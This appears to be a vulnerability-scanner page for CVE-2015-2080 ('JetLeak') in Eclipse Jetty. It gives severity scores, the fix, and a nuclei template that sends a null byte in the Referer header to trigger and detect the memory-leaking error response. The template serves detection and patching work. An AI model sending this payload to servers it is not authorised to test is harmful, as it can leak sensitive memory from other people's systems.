Eclipse Jetty <9.2.9.v20150224 - Sensitive Information Leakage

highseverity

7.5CVSS score

75.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header.

Impact

Remote attackers can retrieve sensitive information from process memory, leading to potential data leakage.

Fix

Update to version 9.2.9.v20150224 or later.

How to confirm it

Send: POST {{BaseURL}}
Positive when: contains "Illegal character 0x0 in state" AND status 400

Run it with nuclei: nuclei -id CVE-2015-2080 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-2080

info:
  name: Eclipse Jetty <9.2.9.v20150224 - Sensitive Information Leakage
  author: pikpikcu
  severity: high
  description: Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header.
  impact: |
    Remote attackers can retrieve sensitive information from process memory, leading to potential data leakage.
  remediation: |
    Update to version 9.2.9.v20150224 or later.
  reference:
    - https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md
    - https://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
    - http://packetstormsecurity.com/files/130567/Jetty-9.2.8-Shared-Buffer-Leakage.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2080
    - http://dev.eclipse.org/mhonarc/lists/jetty-announce/msg00074.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-2080
    cwe-id: CWE-200
    epss-score: 0.75441
    epss-percentile: 0.99519
    cpe: cpe:2.3:o:fedoraproject:fedora:22:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fedoraproject
    product: fedora
    shodan-query: cpe:"cpe:2.3:o:fedoraproject:fedora"
  tags: cve2015,cve,jetty,packetstorm,fedoraproject,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}"

    headers:
      Referer: \x00

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Illegal character 0x0 in state"

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from